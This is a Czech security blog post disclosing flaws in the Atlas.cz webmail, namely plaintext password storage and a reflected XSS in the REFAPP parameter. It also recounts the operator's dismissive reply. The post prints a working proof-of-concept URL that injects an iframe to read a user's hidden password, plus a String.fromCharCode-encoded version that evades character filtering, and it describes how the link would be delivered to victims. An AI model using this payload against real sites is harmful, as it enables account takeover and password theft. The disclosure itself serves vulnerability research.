Autor: .cCuMiNn. | 16.10.2008 |
Delší dobu jsem "nevrtal" do bugů našich webmailů a tak by mohl leckterý neinformovaný uživatel podlehnout dojmu, že je jejich používání zcela bezpečné. Bohužel se toho za dobu mé nečinnosti moc nezměnilo a v našich webmailech je stále možné narazit na řadu zajímavých zranitelností. Tentokrát jsem si vzal na mušku webmail Atlas.cz, který běží od minulých testů "nově" na doméně centrum.cz. Některé chyby, na které je v tomto webmailu možné narazit (a není jich málo), mi úplně vyrážely dech. Stejně mě dostala i odpověď ze strany provozovatele, kterému jsem nabízel komplexnější otestování. Posuďte však sami...
Začnu u chyby, jejíž výskyt bych očekával spíše na nějakém začátečnickém webu, ale spíše ani tam ne. V každém studijním materiálu, který se věnuje programování webových aplikací je důrazně zmíněno, že se hesla uživatelů mají ukládat ve formě jejich hashů, aby v případě úspěšného útoku na aplikaci nemohlo dojít k jejich úniku. Dovolím si tvrdit, že toto je natolik rozšířená a známá informce, že se jí řídí téměř každý vývojář. Ne však na Atlasu. Tam stále vesele ukládají hesla v podobě otevřeného textu a v případě útoku, který by byl veden proti databázi by se útočník lehce zmocnil velmi cenné kořisti. My si v tomto článku ukážeme, jakým způsobem může útočník získat uživatelské heslo využitím XSS zranitelnosti.
Na několika místech v aplikaci si může oprávněný uživatel prohlédnout své heslo k webmailu. Jedním z těchto míst je například stránka se závěrečným krokem registrace nového účtu. Ta je (nevím proč) dostupná po zadání správného URI (http://profil.centrum.cz/registration_final.aspx) i kdykoliv později, a proto ji v níže uvedeném exploitu použiji jako zdroj, ze kterého uživatelské heslo přečtu.
Pozn. Stránka se může díky skrytému zobrazení hesla tvářit, že jej ve skutečnosti neobsahuje, ale zkuste se podívat do jejího zdrojového kódu...
Nyní, když víme, odkud může útočník přečíst uživatelské heslo, musí ještě u uživatele spustit v rámci stejné domény (profil.centrum.cz) skript, který se o toto přečtení postará. Jak správně tušíte, je nutné aby nalezl XSS zranitelnost. Pro tu však nemusí chodit daleko. Jedna se nalézá například v URI mnoha stránek na Atlasu v podobě odkazu, ze kterého přicházíme (parametr REFAPP), což si můžeme zkusit například hned na již uvedené stránce se závěrečným krokem registrace (http://profil.centrum.cz/registration_final.aspx). Zkuste vložit URI v podobě http://profil.centrum.cz/registration_final.aspx?refapp=javascript:alert(1); a následně formulář odeslat. Pro náš ukázkový exploit však bude vhodnější využít uvedenou zranitelnost parametru REFAPP ve skriptu checkcookie.aspx.
Zbývá už pouze příprava vlastního kódu, který přečte a zobrazí uživatelské heslo. Kód na stránku umístí rám o rozměrech 1x1 pixel a do něj načte stránku http://profil.centrum.cz/registration_final.aspx, o které jsem se již zmínil. Následně kód přečte a zobrazí hodnotu prvku s id "pwdbox", což je právě uživatelské heslo, které je za normálních okolností skryto. Výsledný skript připravený pro prohlížeče Mozilla vypadá takto:Nyní je již možné jej propašovat na stránku, skrz nezabezpečený parametr REFAPP:
http://profil.centrum.cz/checkcookie.aspx?REFAPP=javascript:document.write("
<iframe src='http://profil.centrum.cz/registration_final.aspx' id ='r' width=1 height=1
onLoad=\"Javascript:alert(f=document.getElementById('r').contentDocument.
getElementById('pwdbox').innerHTML);\"></iframe>");
Bohužel zjistíme, že nám webový server neumožní použití některých znaků a tak celý skript převedeme na ascii hodnoty:
http://profil.centrum.cz/checkcookie.aspx?REFAPP=javascript:document.write
(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,
116,112,58,47,47,112,114,111,102,105,108,46,99,101,110,116,114,117,109,46,
99,122,47,114,101,103,105,115,116,114,97,116,105,111,110,95,102,105,110,97,
108,46,97,115,112,120,39,32,105,100,32,61,39,114,39,32,119,105,100,116,104,
61,49,32,104,101,105,103,104,116,61,49,32,111,110,76,111,97,100,61,34,74,
97,118,97,115,99,114,105,112,116,58,97,108,101,114,116,40,102,61,100,111,
99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,
100,40,39,114,39,41,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,
116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,112,119,
100,98,111,120,39,41,46,105,110,110,101,114,72,84,77,76,41,59,34,62,60,47,
105,102,114,97,109,101,62,33));
Útočník by již v tuto chvíli mohl uvedený odkaz odeslat do e-mailové schránky své oběti, ale protože je na Atlasu drobná ochrana v podobě přesměrování odkazů přes filtr, který z nich odstraní klíčové slovo javascript, je nucen, umístit tento odkaz na svou webovou stánku, kterou teprve odkazuje v mailové zprávě. Útočník by samozřejmě skript upravil, aby odeslal uživatelské heslo namísto jeho zobrazení.
Máte-li svůj účet ve webmailu Atlas.cz, můžete si účinek uvedeného exploitu vyzkoušet odesláním odkazu na webovou stránku http://www.soom.cz/data/atlas_exploit.html, nebo přihlášením ke svému účtu na Atlasu a následným kliknutím na zdejší odkaz. Případně je možné shlédnout výsledek i na tomto videu.
Na můj mail, ve kterém jsem upozorňoval na výskyt mnoha zranitelností a nabízel možnost provedení pentestů, jsem obdržel úsměvnou odpověď:
"Webmail Atlas.cz je pravidelně testován na svou zranitelnost. Na základě mj. některých vašich upozornění došlo již v minulosti k úpravám, aktuálně ještě pracujeme na nápravě jedné z bezpečnostních vlastností emailu. Za vaši nabídku děkujeme, v současné chvíli si však nejsme vědomi žádné zásadní bezpečnostní hrozby pro naše uživatele."
Za jedno musím provozovatele Atlas.cz skutečně pochválit a to za rychlost, se kterou odstranili dříve oznámené zranitelnosti. Zdá se mi však, že v této společnosti zastávají názor, že chyby, které jim nejsou známy, neexistují a ty, které jsou již opraveny nikdy neexistovaly viz. prohlášení k testu našich webmailů.